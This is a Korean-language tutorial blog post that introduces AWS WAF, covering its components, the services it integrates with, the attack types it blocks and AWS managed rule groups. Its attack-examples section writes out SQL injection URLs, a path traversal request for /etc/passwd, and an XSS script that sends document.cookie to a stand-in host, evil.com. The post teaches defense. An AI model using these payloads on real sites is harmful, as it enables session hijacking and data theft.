์ฝ˜ํ…์ธ  ๋Œ€ํ‘œ ์ด๋ฏธ์ง€ - ๐Ÿ›ก๏ธ AWS WAF๋กœ ์›น ๊ณต๊ฒฉ ์ฐจ๋‹จํ•˜๊ธฐ โ€” ๋‚ด ์„œ๋น„์Šค๋ฅผ ์ง€ํ‚ค๋Š” ํด๋ผ์šฐ๋“œ ๋ฐฉํŒจ ์™„์ „ ์ •๋ณต
โ˜๏ธ ํด๋ผ์šฐ๋“œ / DevOps

๐Ÿ›ก๏ธ AWS WAF๋กœ ์›น ๊ณต๊ฒฉ ์ฐจ๋‹จํ•˜๊ธฐ โ€” ๋‚ด ์„œ๋น„์Šค๋ฅผ ์ง€ํ‚ค๋Š” ํด๋ผ์šฐ๋“œ ๋ฐฉํŒจ ์™„์ „ ์ •๋ณต

SQL Injection๋ถ€ํ„ฐ DDoS๊นŒ์ง€, AWS WAF ํ•˜๋‚˜๋กœ ๋ง‰์•„๋ฒ„๋ฆฌ๋Š” ์‹ค์ „ ๊ฐ€์ด๋“œ ๐Ÿ”ฅ

โš ๏ธ ์›น ๊ณต๊ฒฉ ์œ ํ˜• SQL Injection XSS ๊ณต๊ฒฉ DDoS / ๋ด‡ ํŠธ๋ž˜ํ”ฝ ์•…์„ฑ IP ์ ‘๊ทผ ๊ฒฝ๋กœ ํƒ์ƒ‰ ๊ณต๊ฒฉ ์ œ๋กœ๋ฐ์ด ์ทจ์•ฝ์  ๐Ÿ›ก๏ธ AWS WAF Web ACL ๊ทœ์น™ ์—”์ง„ โœ… ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน โœ… ์ปค์Šคํ…€ ๊ทœ์น™ โœ… IP ์ฐจ๋‹จ/ํ—ˆ์šฉ โœ… Rate Limiting โœ… ์ง€์—ญ ์ฐจ๋‹จ โœ… ๋กœ๊น… & ๋ชจ๋‹ˆํ„ฐ๋ง ์ •์ƒ ํŠธ๋ž˜ํ”ฝ ํ†ต๊ณผ โœ… ๐ŸŒ ๋ณดํ˜ธ๋œ ์„œ๋น„์Šค CloudFront CDN ALB (๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ) API Gateway App Runner ๐Ÿ”’ AWS WAF โ€” ์›น ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๊ณ  ์•…์„ฑ ์š”์ฒญ์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์ฐจ๋‹จํ•˜๋Š” ํด๋ผ์šฐ๋“œ ๋ฐฉํ™”๋ฒฝ

์•ผ, ์†”์งํžˆ ๋งํ•ด๋ด. ๐Ÿค” ์„œ๋น„์Šค ํ•˜๋‚˜ ์—ด์‹ฌํžˆ ๋งŒ๋“ค์–ด์„œ ๋ฐฐํฌํ–ˆ๋Š”๋ฐ ๊ฐ‘์ž๊ธฐ ์„œ๋ฒ„๊ฐ€ ๋ป—๊ฑฐ๋‚˜, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ํ„ธ๋ฆฌ๊ฑฐ๋‚˜, ์ด์ƒํ•œ ๋ด‡๋“ค์ด ์šฐ๋ฅด๋ฅด ๋ชฐ๋ ค์˜ค๋Š” ๊ฒฝํ—˜ ํ•ด๋ณธ ์  ์žˆ์–ด? ์•„๋‹ˆ๋ฉด ์•„์ง ์—†์–ด์„œ ๋‹คํ–‰์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ณ  ์žˆ์–ด?

์›น ์„œ๋น„์Šค๋ฅผ ์šด์˜ํ•œ๋‹ค๋Š” ๊ฑด ๊ทธ๋ƒฅ ์ฝ”๋“œ ์งœ๊ณ  ๋ฐฐํฌํ•˜๋Š” ๊ฒŒ ๋์ด ์•„๋‹ˆ์•ผ. ์ธํ„ฐ๋„ท์— ์„œ๋น„์Šค๋ฅผ ์˜ฌ๋ฆฌ๋Š” ์ˆœ๊ฐ„, ์ „ ์„ธ๊ณ„ ํ•ด์ปค๋“ค๊ณผ ๋ด‡๋“ค์˜ ๋ ˆ์ด๋”์— ์žกํžˆ๋Š” ๊ฑฐ๊ฑฐ๋“ . ๋ฌด์„ญ์ง€? ๊ทผ๋ฐ ๋„ˆ๋ฌด ๊ฑฑ์ •ํ•˜์ง€ ๋งˆ. AWS์—๋Š” WAF(Web Application Firewall)๋ผ๋Š” ๋“ ๋“ ํ•œ ๋ฐฉํŒจ๊ฐ€ ์žˆ์œผ๋‹ˆ๊นŒ! ๐Ÿ›ก๏ธ

์˜ค๋Š˜์€ AWS WAF๊ฐ€ ๋ญ”์ง€, ์–ด๋–ป๊ฒŒ ์„ค์ •ํ•˜๋Š”์ง€, ์‹ค์ œ๋กœ ์–ด๋–ค ๊ณต๊ฒฉ์„ ๋ง‰์„ ์ˆ˜ ์žˆ๋Š”์ง€ โ€” ์ฒ˜์Œ ์ ‘ํ•˜๋Š” ์‚ฌ๋žŒ๋„ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ์นœ๊ตฌ์ฒ˜๋Ÿผ ์‰ฝ๊ณ  ์žฌ๋ฏธ์žˆ๊ฒŒ ์„ค๋ช…ํ•ด์ค„๊ฒŒ. ๋๊นŒ์ง€ ์ฝ์œผ๋ฉด ์ง„์งœ๋กœ AWS WAF ์„ค์ •ํ•  ์ˆ˜ ์žˆ์„ ๊ฑฐ์•ผ. ๊ฐ€๋ณด์ž๊ณ ! ๐Ÿš€


๐Ÿค” WAF๊ฐ€ ๋ญ”๋ฐ? ์ผ๋ฐ˜ ๋ฐฉํ™”๋ฒฝ์ด๋ž‘ ๋‹ค๋ฅธ ๊ฑฐ์•ผ?

๋จผ์ € ๊ฐœ๋…๋ถ€ํ„ฐ ์žก๊ณ  ๊ฐ€์ž. WAF๋Š” Web Application Firewall์˜ ์•ฝ์ž์•ผ. ์ด๋ฆ„์—์„œ ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์œ„ํ•œ ๋ฐฉํ™”๋ฒฝ์ด์•ผ.

๊ทผ๋ฐ ์—ฌ๊ธฐ์„œ "๋ฐฉํ™”๋ฒฝ์ด๋ฉด ๊ทธ๋ƒฅ ๋ฐฉํ™”๋ฒฝ์ด์ง€, ์™œ ์›น ์ „์šฉ์ด ๋”ฐ๋กœ ์žˆ์–ด?" ๋ผ๊ณ  ๋ฌผ์–ด๋ณผ ์ˆ˜ ์žˆ์ž–์•„. ์ข‹์€ ์งˆ๋ฌธ์ด์•ผ! ๐Ÿ™Œ

์ผ๋ฐ˜ ๋ฐฉํ™”๋ฒฝ vs WAF โ€” ๋ญ๊ฐ€ ๋‹ค๋ฅผ๊นŒ?

๊ตฌ๋ถ„ ์ผ๋ฐ˜ ๋ฐฉํ™”๋ฒฝ (Network Firewall) WAF (Web Application Firewall)
๋™์ž‘ ๊ณ„์ธต OSI 3~4๊ณ„์ธต (IP, TCP/UDP) OSI 7๊ณ„์ธต (HTTP/HTTPS)
๊ฒ€์‚ฌ ๋Œ€์ƒ IP ์ฃผ์†Œ, ํฌํŠธ, ํ”„๋กœํ† ์ฝœ HTTP ํ—ค๋”, URL, ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ, ๋ฐ”๋””
์ฐจ๋‹จ ๊ฐ€๋Šฅํ•œ ๊ณต๊ฒฉ ํฌํŠธ ์Šค์บ”, ๋„คํŠธ์›Œํฌ ์นจ์ž… SQL Injection, XSS, CSRF, ๋ด‡ ๋“ฑ
ํ•œ๊ณ„ HTTP 80/443 ํฌํŠธ๋Š” ์—ด์–ด์•ผ ํ•ด์„œ ์›น ๊ณต๊ฒฉ ๋ชป ๋ง‰์Œ ๋„คํŠธ์›Œํฌ ๋ ˆ๋ฒจ ๊ณต๊ฒฉ์€ ๋ณ„๋„ ์ฒ˜๋ฆฌ ํ•„์š”

์‰ฝ๊ฒŒ ๋งํ•˜๋ฉด ์ด๋ž˜. ์ผ๋ฐ˜ ๋ฐฉํ™”๋ฒฝ์€ "์–ด๋–ค ๋ฌธ์œผ๋กœ ๋“ค์–ด์˜ค๋ƒ"๋ฅผ ์ฒดํฌํ•˜๋Š” ๊ฑฐ๊ณ , WAF๋Š” "๋ฌธ์œผ๋กœ ๋“ค์–ด์˜จ ์‚ฌ๋žŒ์ด ๋ญ˜ ๋“ค๊ณ  ์™”๋ƒ"๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฑฐ์•ผ. ์›น ์„œ๋น„์Šค๋Š” HTTP(S) ํฌํŠธ๋ฅผ ๋ฌด์กฐ๊ฑด ์—ด์–ด์•ผ ํ•˜๋‹ˆ๊นŒ, ๊ทธ ํฌํŠธ๋กœ ๋“ค์–ด์˜ค๋Š” ์•…์„ฑ ์š”์ฒญ์„ ์žก์œผ๋ ค๋ฉด WAF๊ฐ€ ํ•„์ˆ˜์ธ ๊ฑฐ์ง€!

๐Ÿ’ก ํ•ต์‹ฌ ํฌ์ธํŠธ
WAF๋Š” HTTP ์š”์ฒญ์˜ ๋‚ด์šฉ์„ ๋ถ„์„ํ•ด์„œ ์•…์„ฑ ํŒจํ„ด์„ ํƒ์ง€ํ•˜๊ณ  ์ฐจ๋‹จํ•ด. SQL Injection์ฒ˜๋Ÿผ ์ •์ƒ์ ์ธ HTTP ํฌํŠธ(80/443)๋ฅผ ํ†ตํ•ด ๋“ค์–ด์˜ค๋Š” ๊ณต๊ฒฉ์€ ์ผ๋ฐ˜ ๋ฐฉํ™”๋ฒฝ์œผ๋กœ๋Š” ์ ˆ๋Œ€ ๋ง‰์„ ์ˆ˜ ์—†์–ด. WAF๊ฐ€ ๋ฐ˜๋“œ์‹œ ํ•„์š”ํ•œ ์ด์œ ์•ผ!

โ˜๏ธ AWS WAF๋ž€ ๋ฌด์—‡์ธ๊ฐ€ โ€” ํ•ต์‹ฌ ๊ฐœ๋… ์ •๋ฆฌ

AWS WAF๋Š” Amazon Web Services์—์„œ ์ œ๊ณตํ•˜๋Š” ๊ด€๋ฆฌํ˜• ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐฉํ™”๋ฒฝ ์„œ๋น„์Šค์•ผ. 2015๋…„์— ์ฒ˜์Œ ์ถœ์‹œ๋๊ณ , 2019๋…„์— WAF v2(ํ˜„์žฌ ๋ฒ„์ „)๋กœ ๋Œ€ํญ ์—…๊ทธ๋ ˆ์ด๋“œ๋์–ด.

AWS WAF์˜ ๊ฐ€์žฅ ํฐ ์žฅ์ ์€ ์„œ๋ฒ„๋ฆฌ์Šค(Serverless)๋ผ๋Š” ๊ฑฐ์•ผ. ๋ณ„๋„์˜ ๋ฐฉํ™”๋ฒฝ ์„œ๋ฒ„๋ฅผ ์šด์˜ํ•  ํ•„์š” ์—†์ด, AWS ์ธํ”„๋ผ์— ํ†ตํ•ฉ๋˜์–ด ์ž๋™์œผ๋กœ ์Šค์ผ€์ผ๋ง๋˜๋ฉด์„œ ๋™์ž‘ํ•ด. ํŠธ๋ž˜ํ”ฝ์ด ํญ๋ฐœ์ ์œผ๋กœ ๋Š˜์–ด๋‚˜๋„ WAF๊ฐ€ ์•Œ์•„์„œ ์ฒ˜๋ฆฌํ•ด์ฃผ๋Š” ๊ฑฐ์ง€. ๐Ÿ‘

AWS WAF์˜ ํ•ต์‹ฌ ๊ตฌ์„ฑ ์š”์†Œ

1
Web ACL (Web Access Control List)
WAF์˜ ํ•ต์‹ฌ ๋‹จ์œ„์•ผ. ์—ฌ๋Ÿฌ ๊ทœ์น™(Rule)๋“ค์„ ๋ฌถ์–ด์„œ ํ•˜๋‚˜์˜ ์ •์ฑ…์œผ๋กœ ๋งŒ๋“  ๊ฒƒ. CloudFront, ALB, API Gateway ๋“ฑ์— ์—ฐ๊ฒฐํ•ด์„œ ์‚ฌ์šฉํ•ด. ๊ฐ Web ACL์€ ์ตœ๋Œ€ 1,500 WCU(WAF Capacity Units)๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์–ด.
2
Rule (๊ทœ์น™)
์‹ค์ œ๋กœ ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๊ณ  ์ฐจ๋‹จ/ํ—ˆ์šฉํ•˜๋Š” ๋กœ์ง์ด์•ผ. ์กฐ๊ฑด(Statement)๊ณผ ์•ก์…˜(Action)์œผ๋กœ ๊ตฌ์„ฑ๋ผ. ์˜ˆ๋ฅผ ๋“ค์–ด "SQL Injection ํŒจํ„ด์ด ์žˆ์œผ๋ฉด โ†’ ์ฐจ๋‹จ(Block)" ์ด๋Ÿฐ ์‹์ด์•ผ.
3
Rule Group (๊ทœ์น™ ๊ทธ๋ฃน)
์—ฌ๋Ÿฌ Rule์„ ํ•˜๋‚˜๋กœ ๋ฌถ์€ ๊ฒƒ. AWS์—์„œ ์ œ๊ณตํ•˜๋Š” ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน(Managed Rule Group)์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, ์ง์ ‘ ์ปค์Šคํ…€ ๊ทœ์น™ ๊ทธ๋ฃน์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด.
4
IP Set
์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ํ—ˆ์šฉํ•  IP ์ฃผ์†Œ ๋ชฉ๋ก์ด์•ผ. IPv4, IPv6 ๋ชจ๋‘ ์ง€์›ํ•˜๊ณ , CIDR ํ‘œ๊ธฐ๋ฒ•๋„ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด.
5
Regex Pattern Set
์ •๊ทœํ‘œํ˜„์‹ ํŒจํ„ด ๋ชฉ๋ก์ด์•ผ. ํŠน์ • ํŒจํ„ด์„ ๊ฐ€์ง„ ์š”์ฒญ์„ ํƒ์ง€ํ•  ๋•Œ ์‚ฌ์šฉํ•ด.

AWS WAF๊ฐ€ ์—ฐ๋™๋˜๋Š” ์„œ๋น„์Šค๋“ค

AWS WAF๋Š” ๋‹จ๋…์œผ๋กœ ๋™์ž‘ํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ, ๋‹ค๋ฅธ AWS ์„œ๋น„์Šค์™€ ์—ฐ๋™ํ•ด์„œ ์‚ฌ์šฉํ•ด. ์—ฐ๋™ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค๋“ค์„ ์•Œ์•„๋ณด์ž:

์—ฐ๋™ ์„œ๋น„์Šค ์„ค๋ช… WAF ์ ์šฉ ์œ„์น˜
Amazon CloudFront ๊ธ€๋กœ๋ฒŒ CDN ์„œ๋น„์Šค ์—ฃ์ง€ ๋กœ์ผ€์ด์…˜์—์„œ ์ฐจ๋‹จ (๊ฐ€์žฅ ๋น ๋ฆ„)
ALB (Application Load Balancer) ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ ๋ฆฌ์ „ ๋ ˆ๋ฒจ์—์„œ ์ฐจ๋‹จ
API Gateway REST/HTTP API ๊ด€๋ฆฌ API ์—”๋“œํฌ์ธํŠธ ๋ณดํ˜ธ
AWS App Runner ์ปจํ…Œ์ด๋„ˆ ์•ฑ ์‹คํ–‰ ์„œ๋น„์Šค ์•ฑ ๋ ˆ๋ฒจ ๋ณดํ˜ธ
AWS Cognito User Pool ์‚ฌ์šฉ์ž ์ธ์ฆ ์„œ๋น„์Šค ์ธ์ฆ ์—”๋“œํฌ์ธํŠธ ๋ณดํ˜ธ
AWS AppSync GraphQL API ์„œ๋น„์Šค GraphQL ์—”๋“œํฌ์ธํŠธ ๋ณดํ˜ธ
๐Ÿ”„ AWS WAF ์š”์ฒญ ์ฒ˜๋ฆฌ ํ๋ฆ„ ๐Ÿ‘ค ์‚ฌ์šฉ์ž HTTP ์š”์ฒญ ๐Ÿ›ก๏ธ Web ACL ๊ทœ์น™ ์ˆœ์„œ๋Œ€๋กœ ๊ฒ€์‚ฌ ์‹œ์ž‘ ์šฐ์„ ์ˆœ์œ„ ์ ์šฉ ๊ทœ์น™ ๋งค์นญ? YES ์•ก์…˜ ์‹คํ–‰ ๐Ÿšซ Block โœ… Allow ๐Ÿ“Š Count ๐Ÿ” CAPTCHA ๐Ÿšซ 403 ์ฐจ๋‹จ NO ๋‹ค์Œ ๊ทœ์น™ ๊ฒ€์‚ฌ ๋˜๋Š” ๊ธฐ๋ณธ ์•ก์…˜ ๐ŸŒ ์„œ๋ฒ„ ์š”์ฒญ ์ „๋‹ฌ Allow ๋ชจ๋“  HTTP ์š”์ฒญ์€ Web ACL์˜ ๊ทœ์น™์„ ์ˆœ์„œ๋Œ€๋กœ ํ†ต๊ณผํ•˜๋ฉฐ ๊ฒ€์‚ฌ๋ฐ›์•„

๐Ÿ”ฅ AWS WAF๊ฐ€ ๋ง‰์„ ์ˆ˜ ์žˆ๋Š” ์ฃผ์š” ๊ณต๊ฒฉ ์œ ํ˜•

์ž, ์ด์ œ ์‹ค์ „์ด์•ผ. AWS WAF๊ฐ€ ์‹ค์ œ๋กœ ์–ด๋–ค ๊ณต๊ฒฉ๋“ค์„ ๋ง‰์„ ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ์•„๋ณด์ž. ์ด๊ฑธ ์•Œ์•„์•ผ ๋‚˜์ค‘์— ๊ทœ์น™ ์„ค์ •ํ•  ๋•Œ ๋ญ˜ ์ผœ์•ผ ํ• ์ง€ ์•Œ ์ˆ˜ ์žˆ๊ฑฐ๋“ !

๐Ÿ’‰ SQL Injection (SQLi)

๊ฐ€์žฅ ๊ณ ์ „์ ์ด๋ฉด์„œ๋„ ์—ฌ์ „ํžˆ ์œ„ํ—˜ํ•œ ๊ณต๊ฒฉ์ด์•ผ. ์›น ํผ์ด๋‚˜ URL ํŒŒ๋ผ๋ฏธํ„ฐ์— SQL ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๊ฑฐ์•ผ.

โš ๏ธ ๊ณต๊ฒฉ ์˜ˆ์‹œ
https://example.com/user?id=1 OR 1=1 --
https://example.com/login?user=admin'--&pass=anything


์ด๋Ÿฐ ์š”์ฒญ์ด ๋“ค์–ด์˜ค๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ •๋ณด๊ฐ€ ์œ ์ถœ๋  ์ˆ˜ ์žˆ์–ด!

AWS WAF์˜ AWSManagedRulesSQLiRuleSet์„ ํ™œ์„ฑํ™”ํ•˜๋ฉด ์ด๋Ÿฐ ํŒจํ„ด์„ ์ž๋™์œผ๋กœ ํƒ์ง€ํ•˜๊ณ  ์ฐจ๋‹จํ•ด์ค˜.

๐Ÿ•ท๏ธ Cross-Site Scripting (XSS)

์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์‚ฝ์ž…ํ•ด์„œ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด์•ผ. ์ฟ ํ‚ค ํƒˆ์ทจ, ์„ธ์…˜ ํ•˜์ด์žฌํ‚น ๋“ฑ์— ์‚ฌ์šฉ๋ผ.

โš ๏ธ ๊ณต๊ฒฉ ์˜ˆ์‹œ
https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>


์ด๋Ÿฐ URL์„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ํด๋ฆญํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด ์ฟ ํ‚ค๊ฐ€ ํƒˆ์ทจ๋ผ!

AWSManagedRulesKnownBadInputsRuleSet๊ณผ ์ปค์Šคํ…€ XSS ๊ทœ์น™์œผ๋กœ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด.

๐Ÿค– ๋ด‡ ํŠธ๋ž˜ํ”ฝ & DDoS

์ž๋™ํ™”๋œ ๋ด‡๋“ค์ด ๋Œ€๋Ÿ‰์˜ ์š”์ฒญ์„ ๋ณด๋‚ด์„œ ์„œ๋ฒ„๋ฅผ ๋งˆ๋น„์‹œํ‚ค๊ฑฐ๋‚˜, ํฌ๋ฆฌ๋ด์…œ ์Šคํ„ฐํ•‘(Credential Stuffing) ๊ณต๊ฒฉ์„ ํ•˜๋Š” ๊ฑฐ์•ผ. AWS WAF์˜ Rate-based Rule๋กœ ํŠน์ • IP์—์„œ ์ผ์ • ์‹œ๊ฐ„ ๋‚ด ์š”์ฒญ ์ˆ˜๋ฅผ ์ œํ•œํ•  ์ˆ˜ ์žˆ์–ด.

๐Ÿ’ก Rate-based Rule ์˜ˆ์‹œ "๋™์ผ IP์—์„œ 5๋ถ„ ๋‚ด 2,000๊ฑด ์ด์ƒ ์š”์ฒญ์ด ์˜ค๋ฉด ์ž๋™ ์ฐจ๋‹จ" โ€” ์ด๋Ÿฐ ๊ทœ์น™ ํ•˜๋‚˜๋กœ ๊ธฐ๋ณธ์ ์ธ DDoS ๋ฐฉ์–ด๊ฐ€ ๊ฐ€๋Šฅํ•ด!

๐Ÿ“ Path Traversal (๊ฒฝ๋กœ ํƒ์ƒ‰ ๊ณต๊ฒฉ)

URL์— ../ ๊ฐ™์€ ๊ฒฝ๋กœ ํƒ์ƒ‰ ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•ด์„œ ์„œ๋ฒ„์˜ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋ ค๋Š” ๊ณต๊ฒฉ์ด์•ผ.

โš ๏ธ ๊ณต๊ฒฉ ์˜ˆ์‹œ
https://example.com/files?name=../../../../etc/passwd

์„œ๋ฒ„์˜ ํŒจ์Šค์›Œ๋“œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋ ค๋Š” ์‹œ๋„์•ผ!

๐ŸŒ ์ง€์—ญ ๊ธฐ๋ฐ˜ ์ฐจ๋‹จ (Geo Restriction)

์„œ๋น„์Šค๋ฅผ ํŠน์ • ๊ตญ๊ฐ€์—์„œ๋งŒ ์šด์˜ํ•œ๋‹ค๋ฉด, ๋‹ค๋ฅธ ๊ตญ๊ฐ€์˜ ํŠธ๋ž˜ํ”ฝ์„ ์•„์˜ˆ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์–ด. ์˜ˆ๋ฅผ ๋“ค์–ด ํ•œ๊ตญ ์„œ๋น„์Šค์ธ๋ฐ ๋™์œ ๋Ÿฝ์ด๋‚˜ ํŠน์ • ๊ตญ๊ฐ€์—์„œ ๊ณต๊ฒฉ์ด ๋งŽ์ด ์˜จ๋‹ค๋ฉด ํ•ด๋‹น ๊ตญ๊ฐ€ IP๋ฅผ ํ†ต์งธ๋กœ ์ฐจ๋‹จํ•˜๋Š” ๊ฑฐ์•ผ.

๐Ÿ”‘ ํฌ๋ฆฌ๋ด์…œ ์Šคํ„ฐํ•‘ & ๋ธŒ๋ฃจํŠธ ํฌ์Šค

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์— ์ˆ˜์ฒœ ๊ฐœ์˜ ์•„์ด๋””/ํŒจ์Šค์›Œ๋“œ ์กฐํ•ฉ์„ ์ž๋™์œผ๋กœ ์‹œ๋„ํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ. Rate-based Rule๊ณผ AWS WAF Bot Control ๊ธฐ๋Šฅ์œผ๋กœ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด.


๐Ÿ“ฆ AWS ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน โ€” ์ด๊ฒƒ๋งŒ ์•Œ๋ฉด ๋ฐ˜์€ ๋จน๊ณ  ๋“ค์–ด๊ฐ€

AWS WAF์˜ ๊ฐ€์žฅ ๊ฐ•๋ ฅํ•œ ๊ธฐ๋Šฅ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋ฐ”๋กœ ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน(Managed Rule Group)์ด์•ผ. AWS๊ฐ€ ์ง์ ‘ ๊ด€๋ฆฌํ•˜๊ณ  ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ทœ์น™ ์„ธํŠธ๋“ค์ธ๋ฐ, ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๊ฐ€ ์•„๋‹ˆ์–ด๋„ ์‰ฝ๊ฒŒ ์ ์šฉํ•  ์ˆ˜ ์žˆ์–ด. ๐Ÿ˜Ž

AWS ๋ฌด๋ฃŒ ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน

์•„๋ž˜ ๊ทœ์น™๋“ค์€ ์ถ”๊ฐ€ ๋น„์šฉ ์—†์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด! (WAF ๊ธฐ๋ณธ ์š”๊ธˆ๋งŒ ๋‚ด๋ฉด ๋ผ)

๊ทœ์น™ ๊ทธ๋ฃน ์ด๋ฆ„ ์„ค๋ช… WCU
AWSManagedRulesCommonRuleSet OWASP Top 10 ๊ธฐ๋ฐ˜ ์ผ๋ฐ˜์ ์ธ ์›น ๊ณต๊ฒฉ ์ฐจ๋‹จ. ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ๊ทœ์น™ ์„ธํŠธ์•ผ. ๋Œ€๋ถ€๋ถ„์˜ ์„œ๋น„์Šค์— ํ•„์ˆ˜! 700
AWSManagedRulesAdminProtectionRuleSet ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€(/admin, /wp-admin ๋“ฑ) ์™ธ๋ถ€ ์ ‘๊ทผ ์ฐจ๋‹จ 100
AWSManagedRulesKnownBadInputsRuleSet ์•Œ๋ ค์ง„ ์•…์„ฑ ์ž…๋ ฅ ํŒจํ„ด ์ฐจ๋‹จ (Log4j ์ทจ์•ฝ์  ํฌํ•จ!) 200
AWSManagedRulesSQLiRuleSet SQL Injection ๊ณต๊ฒฉ ์ฐจ๋‹จ 200
AWSManagedRulesLinuxRuleSet Linux ์„œ๋ฒ„ ๋Œ€์ƒ ๊ณต๊ฒฉ ์ฐจ๋‹จ (๊ฒฝ๋กœ ํƒ์ƒ‰ ๋“ฑ) 200
AWSManagedRulesUnixRuleSet Unix/Linux ํŠนํ™” ๊ณต๊ฒฉ ํŒจํ„ด ์ฐจ๋‹จ 100
AWSManagedRulesWindowsRuleSet Windows ์„œ๋ฒ„ ๋Œ€์ƒ ๊ณต๊ฒฉ ์ฐจ๋‹จ (PowerShell ์ธ์ ์…˜ ๋“ฑ) 200
AWSManagedRulesPHPRuleSet PHP ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋Œ€์ƒ ๊ณต๊ฒฉ ์ฐจ๋‹จ 100
AWSManagedRulesWordPressRuleSet WordPress ์ทจ์•ฝ์  ๊ณต๊ฒฉ ์ฐจ๋‹จ 100
AWSManagedRulesAmazonIpReputationList Amazon์ด ๊ด€๋ฆฌํ•˜๋Š” ์•…์„ฑ IP ๋ชฉ๋ก ์ฐจ๋‹จ (๋ด‡, ํ•ด์ปค IP ๋“ฑ) 25
AWSManagedRulesAnonymousIpList VPN, Tor, ํ”„๋ก์‹œ ๋“ฑ ์ต๋ช… IP ์ฐจ๋‹จ 50
๐Ÿ’ก ํŒ: Web ACL์˜ WCU ํ•œ๋„๋Š” 1,500์ด์•ผ. ์œ„ ๊ทœ์น™๋“ค์„ ๋‹ค ์ผœ๋ฉด WCU๋ฅผ ์ดˆ๊ณผํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ์„œ๋น„์Šค ํŠน์„ฑ์— ๋งž๊ฒŒ ์„ ํƒํ•ด์„œ ์ ์šฉํ•ด์•ผ ํ•ด. ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์œผ๋กœ๋Š” CommonRuleSet + SQLiRuleSet + AmazonIpReputationList ์กฐํ•ฉ์„ ์ถ”์ฒœํ•ด!

์œ ๋ฃŒ ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน (AWS Marketplace)

AWS Marketplace์—์„œ๋Š” ๋ณด์•ˆ ์ „๋ฌธ ์—…์ฒด๋“ค์ด ์ œ๊ณตํ•˜๋Š” ์œ ๋ฃŒ ๊ทœ์น™ ๊ทธ๋ฃน๋„ ์žˆ์–ด. Fortinet, F5, Imperva ๊ฐ™์€ ๋ณด์•ˆ ์ „๋ฌธ ์—…์ฒด๋“ค์ด ๋” ์ •๊ตํ•œ ๊ทœ์น™์„ ์ œ๊ณตํ•ด. ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ๋ ˆ๋ฒจ์˜ ๋ณด์•ˆ์ด ํ•„์š”ํ•˜๋‹ค๋ฉด ๊ณ ๋ คํ•ด๋ณผ ๋งŒํ•ด.

๊ทธ๋ฆฌ๊ณ  AWS WAF Bot Control์ด๋ผ๋Š” ์œ ๋ฃŒ ๊ธฐ๋Šฅ๋„ ์žˆ๋Š”๋ฐ, ์ด๊ฑด ๋ด‡ ํŠธ๋ž˜ํ”ฝ์„ ๋” ์ •๊ตํ•˜๊ฒŒ ๋ถ„์„ํ•˜๊ณ  ์ฐจ๋‹จํ•ด์ค˜. ์ผ๋ฐ˜ ๋ด‡, ๊ฒ€์ƒ‰ ์—”์ง„ ๋ด‡, ์•…์„ฑ ๋ด‡์„ ๊ตฌ๋ถ„ํ•ด์„œ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด.


